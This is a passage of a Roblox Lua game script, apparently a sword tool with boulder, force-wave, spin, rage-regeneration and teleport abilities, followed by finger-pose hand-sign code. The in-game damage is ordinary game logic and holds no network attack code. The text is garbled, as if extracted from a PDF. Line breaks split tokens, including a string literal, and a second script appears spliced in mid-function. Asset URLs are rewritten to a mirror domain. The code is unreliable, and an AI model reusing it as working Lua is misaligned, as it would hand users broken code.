RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
local bould = p(workspace,"Block",4,4,8,true,true,0,0,"Medium stone
grey") bould.Name = "Boulder" bould.Material = "Concrete"
local rm = RockMesh:Clone() rm.Scale = Vector3.new(3,3,4.8) rm.Parent =
bould
bould.Elasticity = 0 bould.Friction = 2 bould.CFrame =
cf(Torso.Position.x+(math.random(-14,14)),Torso.Position.y-5,Torso.Position.z+
(math.random(-14,14)))
*CFrame.Angles(math.random(-33,33)/10,math.random(-33,33)/10,math.random(-33,33)/
10)
local warpdes = true
local bpos = bould.Position
Sound(Sounds.Cast,0.95,0.8)
coroutine.resume(coroutine.create(function() repeat
Functions.BrickWarpDesign(bould,9) wait() until warpdes == false end))
for i=0,1,0.08 do bould.CFrame = CFrame.new(bpos.x,bpos.y,bpos.z) +
Vector3.new(0,20*i,0) wait() end wait(1) bould.CFrame =
CFrame.new(bpos.x,bpos.y+20,bpos.z) bould.CFrame = cf(bould.Position,mouse.hit.p)
bould.Anchored = false wait() bould.Velocity = bould.CFrame.lookVector
*(math.random(180,350)) bould.Touched:connect(function(hit)
Functions.BoulderTouch(hit,bould) end)
wait(0.5)
warpdes = false
game.Debris:AddItem(bould,10)
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
Anims.ForceWave = function(i1,i2,is,RaigCost)
local Hit, hitpos = rayCast(Torso.Position,((Torso.Position -
Vector3.new(0,10000,0)) - Torso.Position),999.999,Player.Character)
if Hit == nil then Anim.Act = false return end
MinusRage(RaigCost)
Anim.Act = true
lh2,rh2 = FeetWeld(true,Lh,Rh)
local bp2 = Instance.new("BodyPosition",Torso)
bp2.maxForce = Vector3.new(0,math.huge,0)
Humanoid.WalkSpeed = Humanoid.WalkSpeed - (RealSpeed-4)
DebounceSpeed = DebounceSpeed + (1.1*Speed)
bp2.position = Torso.Position + Vector3.new(0,25,0)
Dash(Blad1,2.5/Speed)
Dash(Blad2,2.5/Speed)
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,0.3,0,BladeColor)
wav.Anchored = true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
wavm.Scale = Vector3.new(15,6,15)
local cff = Torso.CFrame - Vector3.new(0,0,0)
coroutine.resume(coroutine.create(function()
Dash(Blad1,4/Speed)
Dash(Blad2,4/Speed)
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-80+(-100*i)),mr(40-(40*i)),mr(45*i))
LW.C0 = cf(0.6,0.3+(1.4*i),-1+(1*i))
RW.C1 = ca(mr(-80+(-100*i)),mr(-40+(40*i)),mr(-45*i))
RW.C0 = cf(-0.6,0.3+(1.4*i),-1+(1*i))
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
H1w.C0 = cf(0,-1.1+(-0.9*i),0) *ca(0,mr(360*i),0)
H1w.C1 = ca(mr(-90+(40*i)),0,0)
wait()
end for i=i1,i2*3,is*Speed do H1w.C1 = ca(mr(-50),mr(360*i),0)
wait() end end)) Sound(Sounds.Cast,0.45,1) for i=i1,i2*5,is do
Functions.BrickWarpDesign(Torso,13) wav.CFrame = cff *ca(0,mr(180*i),0) wait() end
for i=1,0.3,-0.14*Speed do wav.Transparency = i wait() end wav:Remove()
for i=i2,i1,-is*Speed do
LW.C1 = ca(mr(-80+(-100*i)),mr(40-(40*i)),mr(45*i))
LW.C0 = cf(0.6,0.3+(1.4*i),-1+(1*i))
RW.C1 = ca(mr(-80+(-100*i)),mr(-40+(40*i)),mr(-45*i))
RW.C0 = cf(-0.6,0.3+(1.4*i),-1+(1*i))
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
H1w.C0 = cf(0,-1.1+(-0.9*i),0) *ca(0,mr(360*i),0)
H1w.C1 = ca(mr(-90+(40*i)),0,0)
wait()
end
bp2:Remove()
local bg = Instance.new("BodyGyro",Torso) bg.maxTorque =
Vector3.new(math.huge,0,math.huge)
local bp = Instance.new("BodyPosition",Torso) bp.position =
Torso.Position bp.maxForce = Vector3.new(math.huge,1000000,math.huge)
rpos = math.abs(hitpos.y - Torso.Position.y)
rpos = rpos - 1.2
local tpos = Torso.Position
Hum.WalkSpeed = 0
Hum.PlatformStand = true
Dash(Blad2,1.6/Speed,RingMesh.MeshId)
for i=i1,i2,is do
bp.position = tpos - Vector3.new(0,rpos*i,0)
Neck.C0 = cf(0,1-(0.5*i),-0.5*i) *ca(Neck.C1:toEulerAnglesXYZ())
Torw.C1 = ca(mr(20*i),0,0)
Torw.C0 = cf(0,-0.2*i,-0.2*i)
lh2.C0 = cf(-0.5,-1.9+(1*i),-1.1*i) *ca(mr(10*i),mr(90),0)
rh2.C0 = cf(0.5,-1.9+(1*i),0.1*i) *ca(mr(-95*i),mr(-90),0)
LW.C1 = ca(mr(-80+(30*i)),mr(40),0)
LW.C0 = cf(0.6,0.3-(0.3*i),-1+(0.3*i))
RW.C1 = ca(mr(-80+(30*i)),mr(-40),0)
RW.C0 = cf(-0.6,0.3-(0.3*i),-1+(0.3*i))
H1w.C0 = cf(0,-1.1,0) *ca(mr(55*i),0,0)
wait()
end
wait(0.25)
Sound(Sounds.Boom,0.5,1)
Sound(Sounds.EnergyBlast,0.9,1)
Right = true
ShockWave(Torso,50,BladeColor)
wait(1.5)
Right = false
local t2pos = Torso.Position
for i=i2,i1,-is do
bp.position = t2pos - Vector3.new(0,1.5-(1.5*i),0)
Neck.C0 = cf(0,1-(0.5*i),-0.5*i) *ca(Neck.C1:toEulerAnglesXYZ())
Torw.C1 = ca(mr(20*i),0,0)
Torw.C0 = cf(0,-0.2*i,-0.2*i)
lh2.C0 = cf(-0.5,-1.9+(1*i),-1.1*i) *ca(mr(10*i),mr(90),0)
rh2.C0 = cf(0.5,-1.9+(1*i),0.1*i) *ca(mr(-95*i),mr(-90),0)
LW.C1 = ca(mr(-80+(30*i)),mr(40),0)
LW.C0 = cf(0.6,0.3-(0.3*i),-1+(0.3*i))
RW.C1 = ca(mr(-80+(30*i)),mr(-40),0)
RW.C0 = cf(-0.6,0.3-(0.3*i),-1+(0.3*i))
H1w.C0 = cf(0,-1.1,0) *ca(mr(55*i),0,0)
wait()
end
DebounceSpeed = DebounceSpeed - (1.1*Speed)
bp:Remove()
bg:Remove()
Hum.PlatformStand = false
Hum.WalkSpeed = RealSpeed
Torw.C1 = ca(0,0,0)
Anim.Act = false
Lh,Rh = FeetWeld(false,lh2,rh2)
end
Anims.DualSpin = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
Anim.Act = true
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-180-(-90*i)),mr(0*i)) H1w.C1 =
ca(mr(-90-(60*i)),0,mr(0*i))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(180-(270*i)),mr(0*i)) H2w.C1 =
ca(mr(-90+(-30*i)),0,0)
LW.C1 = ca(mr(-60+(-40*i)),mr(-30+(-75*i)),mr(0*i))
LW.C0 = cf(0.13*i,0.5*i,-0.5+(0.5*i))
RW.C1 = ca(mr(-60+(-20*i)),mr(30+(45*i)),mr(0*i))
RW.C0 = cf(0.13*i,0.4*i,-0.5+(0.4*i))
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed) Right = true Left = true
Dash(Blad1,2.6/Speed,nil,2) Dash(Blad2,2.6/Speed,nil,2) local x,y,z =
Neck.C0:toEulerAnglesXYZ()
local soundtime = 0
for i=i1,i2*4,is*Speed do if soundtime == 10 then soundtime = 0
Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end Torw.C1 =
ca(0,mr(i*360),0) Neck.C0 = cf(0,1,0) *ca(x,y,z+mr(-360*i)) wait() end Neck.C0 =
cf(0,1,0) *ca(x,y,z)Torw.C1 = ca(0,0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed) for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-180-(-90*i)),mr(0*i)) H1w.C1 =
ca(mr(-90-(60*i)),0,mr(0*i))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(180-(270*i)),mr(0*i)) H2w.C1 =
ca(mr(-90+(-30*i)),0,0)
LW.C1 = ca(mr(-60+(-40*i)),mr(-30+(-75*i)),mr(0*i))
LW.C0 = cf(0.13*i,0.5*i,-0.5+(0.5*i))
RW.C1 = ca(mr(-60+(-20*i)),mr(30+(45*i)),mr(0*i))
RW.C0 = cf(0.13*i,0.4*i,-0.5+(0.4*i))
wait()
end Right = false Left = false
Anim.Act = false
end
----------------------------
----------------------------
----------------------------
----------------------------
Lh = Torso["Left Hip"]
Rh = Torso["Right Hip"]
Functions = {}
Functions.BoulderTouch = function(hit2,bould)
print(bould.Name)
for i,v in pairs(workspace:GetChildren()) do
if v ~= Char and v ~= nil and v:findFirstChild("Torso") ~= nil
and v:findFirstChild("Humanoid") ~= nil then
if math.abs((v.Torso.Position-bould.Position).magnitude) <
11 and ft(RightDebounce,v.Name) == nil then
Sound(Sounds.Smash,1,1)
Dmgz(v.Humanoid,Damage["BoulderForce"])
table.insert(RightDebounce,v.Name)
print(v.Name)
coroutine.resume(coroutine.create(function()wait(DebounceSpeed) local nf =
ft(RightDebounce,v.Name) if nf ~= nil then table.remove(RightDebounce,nf) end end))
end
else
if v ~= bould and v:IsA("BasePart") and v.Anchored == false
and math.abs((v.Position-bould.Position).magnitude) < 11 then v:BreakJoints()
v.Velocity = cf(bould.Position,v.Position).lookVector*10 + Vector3.new(0,10,0) end
end
end -- for
end
Functions.Sparkle = function(bb,scal,si)
if si == nil then si = 1 end
local rand = bb.Position + Vector3.new(math.random(-
scal,scal),math.random(-scal,scal),math.random(-scal,scal))
local np = p(Torm,"Block",0.1,0.1,0.1,false,true,0.1,0.2,BladeColor)
np.CFrame = cf(rand.x,rand.y,rand.z)
*ca(math.random(-33,33)/10,math.random(-33,33)/10,math.random(-33,33)/10)
local dm = DiamondMesh:Clone() dm.Scale = Vector3.new(0,0,0) dm.Parent
= np
coroutine.resume(coroutine.create(function()
for i=0,1*si,0.1*si do
dm.Scale = Vector3.new(1*i,1.25*i,1*i)
wait()
end
end))
coroutine.resume(coroutine.create(function()
wait(0.1)
for i=0,1,0.1 do
np.Transparency = i
wait()
end
np:Remove()
end))
end
Functions.BrickWarpDesign = function(bb,scal)
local rand = bb.Position + Vector3.new(math.random(-
scal,scal),math.random(-scal,scal),math.random(-scal,scal))
local mag = (rand - bb.Position).magnitude
local np = p(Torm,"Block",0.1,0.1,mag-3,false,true,0.1,0.2,BladeColor)
np.CFrame = cf(bb.Position,rand)
np.CFrame = np.CFrame + np.CFrame.lookVector*((scal/5)+(mag/2))
coroutine.resume(coroutine.create(function()
for i=0.1,1,0.05 do
np.Transparency = i
wait()
end
np:Remove()
end))
end
Functions.RageRegen = function()
local lostcontrol = false
local hpos = Torso.Position.y + 10
Anim.Move = "RageRegening"
Anim.Act = true
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,1,0,BladeColor)
wav.Anchored = true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
local wavv = 0
wavm.Scale = Vector3.new(5,3.5,5)
wav.CFrame = cf((Torso.CFrame * CFrame.new(0,-2.5,0)).p)
*ca(0,mr(wavv),0)
local bp = Instance.new("BodyPosition",Torso)
bp.maxForce = Vector3.new(0,math.huge,0)
Humanoid.WalkSpeed = Humanoid.WalkSpeed - (RealSpeed-4)
bp.position = Torso.Position + Vector3.new(0,10,0)
local bpos = bp.position
coroutine.resume(coroutine.create(function()
lh2,rh2 = FeetWeld(true,Lh,Rh)
if SwordType == "Single" then
for i=0,1,0.1*Speed do
LW.C1 = ca(mr(-80+(-30*i)),mr(40-(40*i)),0)
LW.C0 = cf(0.6-(0.6*i),0.3+(0.5*i),-1+(1.7*i))
*ca(0,mr(120*i),0)
RW.C1 = ca(mr(-80+(-30*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(0.5*i),-1+(1.7*i))
*ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
else
for i=0,1,0.1*Speed do
LW.C1 = ca(mr(-60+(-50*i)),mr(-40-(-40*i)),0)
LW.C0 = cf(-0.1,0.8*i,-0.5+(1.2*i))
*ca(0,mr(120*i),0)
RW.C1 = ca(mr(-60+(-50*i)),mr(40+(-40*i)),0)
RW.C0 = cf(0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(-
120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
end
local function movezx(i1,i2,is,bp)
if SwordType == "Single" then
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-120+(20*i)),0,0)
LW.C0 = cf(0,0.8,0.7) *ca(0,mr(120+(20*i)),0)
RW.C1 = ca(mr(-120+(20*i)),0,0)
RW.C0 = cf(0,0.8,0.7) *ca(0,mr(-120+(-20*i)),0)
lh2.C1 = ca(mr(30+(-15*i)),0,mr(15+(-8*i)))
rh2.C1 = ca(mr(30+(-15*i)),0,mr(-15+(8*i)))
lh2.C0 = cf(-0.7,-1.9,0.35)
rh2.C0 = cf(0.7,-1.9,0.35)
bp.position = Vector3.new(bpos.x,
(hpos+10)+(3*i),bpos.z)
wait()
end
else
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-110),mr(0),0)
LW.C0 = cf(-0.1,0.8,0.7)
*ca(0,mr(120+(20*i)),0)
RW.C1 = ca(mr(-110),mr(0),0)
RW.C0 = cf(0.1,0.8,0.7) *ca(0,mr(-120+(-
20*i)),0)
lh2.C1 = ca(mr(30+(-15*i)),0,mr(15+(-8*i)))
rh2.C1 = ca(mr(30+(-15*i)),0,mr(-15+(8*i)))
lh2.C0 = cf(-0.7,-1.9,0.35)
rh2.C0 = cf(0.7,-1.9,0.35)
bp.position = Vector3.new(bpos.x,
(hpos+10)+(3*i),bpos.z)
wait()
end
end
end
local moved = 2
repeat
if Rage >= MaxRage or Anim.key.z == false then break end
if moved == 2 then moved = 1 movezx(0,1,0.025,bp) else
moved = 2 movezx(1,0,-0.025,bp) end
until Rage >= MaxRage or Anim.key.z == false or lostcontrol ==
true
if SwordType == "Single" then
for i=1,0,-0.1*Speed do
LW.C1 = ca(mr(-80+(-30*i)),mr(40-(40*i)),0)
LW.C0 = cf(0.6-(0.6*i),0.3+(0.5*i),-1+(1.7*i))
*ca(0,mr(120*i),0)
RW.C1 = ca(mr(-80+(-30*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(0.5*i),-1+(1.7*i))
*ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
else
for i=1,0,-0.1*Speed do
LW.C1 = ca(mr(-60+(-50*i)),mr(-40-(-40*i)),0)
LW.C0 = cf(-0.1,0.8*i,-0.5+(1.2*i))
*ca(0,mr(120*i),0)
RW.C1 = ca(mr(-60+(-50*i)),mr(40+(-40*i)),0)
RW.C0 = cf(0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(-
120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
end
Lh,Rh = FeetWeld(false,lh2,rh2)
wait(0.6)
Anim.Act = false
Anim.Move = "None"
end))
for i=1,0.3,-0.14*Speed do wav.Transparency = i wait() end
rpos = 0
Sound(Sounds.Cast,0.8,1)
repeat wait()
local Hit, hitpos = rayCast(Torso.Position,((Torso.Position -
Vector3.new(0,10000,0)) - Torso.Position),999.999,Player.Character)
if Hit == nil then lostcontrol = true break end
hpos = hitpos.y if math.random(1,6) == 4 then
Functions.Sparkle(Torso,8) end
if math.random(1,3) == 3 then Functions.BrickWarpDesign(Torso,10)
end wavv = wavv + 10 Rage = Rage - (RageCost["RageRegening"]*RageIncome)
wav.CFrame = cf(Torso.Position.x,hpos+1.4,Torso.Position.z)
*ca(0,mr(wavv),0)
until Rage >= MaxRage or Anim.key.z == false
for i=0.3,01,0.14*Speed do wav.Transparency = i wait() end wav:Remove()
bp:Remove()
Humanoid.WalkSpeed = Humanoid.WalkSpeed + (RealSpeed-4)
end
Functions.Teleport = function(i1,i2,is,RaigCost)
Anim.Act = true
for i=i1,i2,is*Speed do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
local tele = false
local tele2 = false -- for mouse
local mouseact = mouse.Button1Up:connect(function() tele2 = true end)
coroutine.resume(coroutine.create(function() Sound(Sounds.Cast,1.2,1)
wait(12) tele = true end))
local telepos = Torso.Position
local telehit = nil
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,0.3,0.1,BladeColor)
wav.Anchored = true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
local wavv = 0
wavm.Scale = Vector3.new(3.5,2,3.5)
repeat
local mpos = mouse.hit.p + Vector3.new(0,2,0)
telehit,telepos = rayCast(mpos,((mpos - Vector3.new(0,10000,0)) -
mpos),999.999,Player.Character)
wavv = wavv + 8 Functions.Sparkle(La,3)
Functions.BrickWarpDesign(La,4)
if telehit ~= nil then wav.Transparency = 0 wav.CFrame =
cf(telepos.x,telepos.y+1,telepos.z) *ca(0,mr(wavv),0) else wav.Transparency = 1 end
wait() until tele == true or tele2 == true mouseact:disconnect()
if telehit == nil or math.abs((Torso.Position - telepos).magnitude) >
Props.MaxTeleDistance then
Sound(Sounds.Punch,1,1) for i=0.3,1,0.14 do wavm.Scale =
Vector3.new(3.5+(5*i),2,3.5+(5*i)) wav.Transparency = i wait() end wav:Remove()
wav:Remove()
else
MinusRage(RaigCost)
for i=1,10 do wait() Functions.Sparkle(Torso,5,3)
Functions.BrickWarpDesign(Torso,6) end
ShockWave(Torso,7,BladeColor)
Torso.CFrame = wav.CFrame + Vector3.new(0,2.2,0)
Sound(Sounds.EnergyBlast,1.2,0.6)
ShockWave(Torso,7,BladeColor)
for i=1,10 do wait() Functions.Sparkle(Torso,5,3)
Functions.BrickWarpDesign(Torso,6) end
for i=0.3,1,0.14 do wavm.Scale =
Vector3.new(3.5+(5*i),2,3.5+(5*i)) wav.Transparency = i wait() end wav:Remove()
end
for i=i2,i1,-is*Speed do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
Anim.Act = false
end
-----------------------------------------------------------------------------
---------------------------------
-----------------------------------------------------------------------------
---------------------------------
-----------------------------------------------------------------------------
---------------------------------
-----------------------------------------------------------------------------
---------------------------------
bin.Selected:connect(function(mm)
Mouse = mouse
mouse = mm
Torso["Left Hip"].Part0 = Tor
Torso["Right Hip"].Part0 = Tor
RS.Parent = nil
LS.Parent = nil
RW.Parent = Torso
RW.Part0 = Fra
RW.Part1 = Ra
LW.Parent = Torso
LW.Part0 = Fla
LW.Part1 = La
RW.C0 = CFrame.new(0,0,0) RW.C1 = CFrame.new(0,0,0)
LW.C0 = CFrame.new(0,0,0) LW.C1 = CFrame.new(0,0,0)
Anims.Equip(0,1,0.07*Speed)
Anim.Equipped = true
mouse.KeyDown:connect(function(key)
key:lower()
pcall(function() Anim.key[key:lower()] = true end)
keydown = true
if key == "z" and Anim.Move == "None" and not Anim.Act then
Functions.RageRegen()
end
if SwordType == "Single" then
if key == "e" and Anim.Move == "None" and not Anim.Act and
RageCost["RotorBlade"] <= Rage then
Anim.Move = "RotorBlade"
Anims.RotorBlade(0,1,0.08*Speed,RageCost["RotorBlade"])
Anim.Move = "None"
elseif key == "q" and Anim.Move == "None" and not Anim.Act
and RageCost["Boomerang"] <= Rage then
Anim.Move = "Boomerang"
Anims.Boomerang(0,1,0.08*Speed,RageCost["Boomerang"])
Anim.Move = "None"
elseif key == "f" and Anim.Move == "None" and not Anim.Act
and RageCost["BoulderForce"] <= Rage then
Anim.Move = "BoulderForce"
Anims.BoulderForce(0,1,0.08*Speed,RageCost["BoulderForce"])
Anim.Move = "None"
elseif key == "r" and Anim.Move == "None" and not Anim.Act
and RageCost["ForceWave"] <= Rage then
Anim.Move = "ForceWave"
Anims.ForceWave(0,1,0.08*Speed,RageCost["ForceWave"])
Anim.Move = "None"
elseif key == "t" and Anim.Move == "None" and not Anim.Act
and RageCost["Teleport"] <= Rage then
Anim.Move = "Teleport"
Functions.Teleport(0,1,0.08*Speed,RageCost["Teleport"])
Anim.Move = "None"
end
elseif SwordType == "Dual" then
if key == "e" and Anim.Move == "None" and not Anim.Act and
RageCost["DualSpin"] <= Rage then
Anim.Move = "DualSpin"
Anims.DualSpin(0,1,0.08*Speed,RageCost["DualSpin"])
Anim.Move = "None"
end
end
end)
mouse.KeyUp:connect(function(key)
pcall(function() Anim.key[key:lower()] = false end)
keydown = false
end)
--tool var
Equip = false
HTrans = 0
HRef = 0
HCol = "a"
LaserCol = "Really black"
LaserCol2 = "Really red"
LaserCol3 = "Really black"
Posing = "Follow"
Facing = "Owner"
Anim = {}
Anim.a = "None"
Anim.b = "None"
Anim.Welding = 0
local fingwide = 1.5*s
local finghei = 2.8
local tiphei = 2.55
handoffset = v3(5,18,-8)*s
bgx,bgy,bgz = -90,0,0
w = {}
Button = false
--
BlastMesh = it("FileMesh")
BlastMesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
RingMesh = it("FileMesh")
RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
RockMesh = it("FileMesh")
DiamondMesh = it("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
w["a1"] = Pinkie1
w["a2"] = Pinkie2
w["a3"] = Pinkie3
w["b1"] = Ring1
w["b2"] = Ring2
w["b3"] = Ring3
w["c1"] = Mid1
w["c2"] = Mid2
w["c3"] = Mid3
w["d1"] = Point1
w["d2"] = Point2
w["d3"] = Point3
w["e1"] = Thumb1
w["e2"] = Thumb2
w["e3"] = Thumb3
w.e1.C1 = ca(0,rd(35),rd(-20))
w.e2.C1 = ca(rd(20),0,0)
w.e3.C1 = ca(rd(20),0,0)
w.d1.C1 = ca(0,0,rd(-3))
w.c1.C1 = ca(0,0,rd(-1))
w.b1.C1 = ca(0,0,rd(1))
w.a1.C1 = ca(0,0,rd(3))
function c1(wexx,smmx,xx,yy,zz)
coroutine.resume(coroutine.create(function()
local xx2,yy2,zz2 = wexx.C1:toEulerAnglesXYZ()
local aa,bb,cc = wexx.C0.x,wexx.C0.y,wexx.C0.z
local twa = smmx/wt
Anim.Welding = Anim.Welding + 1
for i=0,twa,1 do wexx.C0 = cf(aa,bb,cc)
wexx.C1 = ca(xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-
rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i))
wait()
end
Anim.Welding = Anim.Welding - 1
end))
end
function CloseFing(fingz,spee) if spee == nil then spee = 1 end c1(w[fingz..
"1"],spee,80,0,0) c1(w[fingz.. "2"],spee,110,0,0) c1(w[fingz.. "3"],spee,30,0,0)
end
function OpenFing(fingz,spee) if spee == nil then spee = 1 end c1(w[fingz..
"1"],spee,2,0,0) c1(w[fingz.. "2"],spee,2,0,0) c1(w[fingz.. "3"],spee,2,0,0) end
function HandSign(form,spee) form = form:lower() if spee == nil then spee =
1 end
if form == "f" then
CloseFing("d",spee) CloseFing("a",spee) CloseFing("b",spee)
c1(w["c1"],spee,0,0,0) c1(w["c2"],spee,0,0,0)
c1(w["c3"],spee,0,0,0)
c1(w["e1"],spee,70,40,-90) c1(w["e2"],spee,50,0,0)
c1(w["e3"],spee,50,0,0)
elseif form == "fist" then
CloseFing("d",spee) CloseFing("a",spee) CloseFing("b",spee)
CloseFing("c",spee)
c1(w["e1"],spee,70,40,-90) c1(w["e2"],spee,50,0,0)
c1(w["e3"],spee,50,0,0)
elseif form == "pointer" then
CloseFing("a",spee) CloseFing("b",spee) CloseFing("c",spee)
c1(w["d1"],spee,5,0,0) c1(w["d2"],spee,5,0,0)
c1(w["d3"],spee,5,0,0)
c1(w["e1"],spee,70,40,-90) c1(w["e2"],spee,50,0,0)
c1(w["e3"],spee,50,0,0)
elseif form == "v" then
CloseFing("a",spee) CloseFing("b",spee)
c1(w["c1"],spee,1,0,15) c1(w["c2"],spee,1,0,0)
c1(w["c3"],spee,1,0,0)
c1(w["d1"],spee,1,0,-15) c1(w["d2"],spee,1,0,0)
c1(w["d3"],spee,1,0,0)
c1(w["e1"],spee,70,40,-90) c1(w["e2"],spee,50,0,0)
c1(w["e3"],spee,50,0,0)
elseif form == "free" or form == "five" then
OpenFing("a",spee) OpenFing("b",spee) OpenFing("c",spee)
OpenFing("d",spee)
c1(w["e1"],spee,0,35,-20) c1(w["e2"],spee,20,0,0)
c1(w["e3"],spee,20,0,0)
elseif form == "ride" then
c1(w["a1"],spee,60,0,0) c1(w["a2"],spee,-30,0,0)
c1(w["a3"],spee,-30,0,0)
c1(w["b1"],spee,30,0,0) c1(w["b2"],spee,65,0,0)
c1(w["b3"],spee,60,0,0)
c1(w["c1"],spee,30,0,0) c1(w["c2"],spee,65,0,0)
c1(w["c3"],spee,60,0,0)
c1(w["d1"],spee,30,0,0) c1(w["d2"],spee,65,0,0)
c1(w["d3"],spee,60,0,0)
c1(w["e1"],spee,-70,185,0) c1(w["e2"],spee,30,0,0)
c1(w["e3"],spee,30,0,0)
elseif form == "gun" then
CloseFing("a",spee) CloseFing("b",spee)
c1(w["c1"],spee,0,0,1) c1(w["c2"],spee,0,0,0)
c1(w["c3"],spee,0,0,0)
c1(w["d1"],spee,0,0,-1) c1(w["d2"],spee,0,0,0)
c1(w["d3"],spee,0,0,0)
c1(w["e1"],spee,-60,90,0) c1(w["e2"],spee,20,0,0)
c1(w["e3"],spee,-20,0,0)
elseif form == "wide" then
c1(w["a1"],spee,-3,0,45) c1(w["a2"],spee,-3,0,0)
c1(w["a3"],spee,-3,0,0)
c1(w["b1"],spee,-3,0,15) c1(w["b2"],spee,-3,0,0)
c1(w["b3"],spee,-3,0,0)
c1(w["c1"],spee,-3,0,-15) c1(w["c2"],spee,-3,0,0)
c1(w["c3"],spee,-3,0,0)
c1(w["d1"],spee,-3,0,-45) c1(w["d2"],spee,-3,0,0)
c1(w["d3"],spee,-3,0,0)
c1(w["e1"],spee,-70,90,0) c1(w["e2"],spee,10,0,0)
c1(w["e3"],spee,-10,0,0)
elseif form == "wide2" then
c1(w["a1"],spee,-18,0,45) c1(w["a2"],spee,36,0,0)
c1(w["a3"],spee,30,0,0)
c1(w["b1"],spee,-18,0,15) c1(w["b2"],spee,36,0,0)
c1(w["b3"],spee,30,0,0)
c1(w["c1"],spee,-18,0,-15) c1(w["c2"],spee,36,0,0)
c1(w["c3"],spee,30,0,0)
c1(w["d1"],spee,-18,0,-45) c1(w["d2"],spee,36,0,0)
c1(w["d3"],spee,30,0,0)
c1(w["e1"],spee,-50,90,-10) c1(w["e2"],spee,5,0,-30)
c1(w["e3"],spee,-10,0,-40)
elseif form == "grab2" then
c1(w["a1"],spee,-70,-65,0) c1(w["a2"],spee,40,0,0)
c1(w["a3"],spee,20,0,0)
c1(w["b1"],spee,-70,-20,0) c1(w["b2"],spee,40,0,0)
c1(w["b3"],spee,20,0,0)
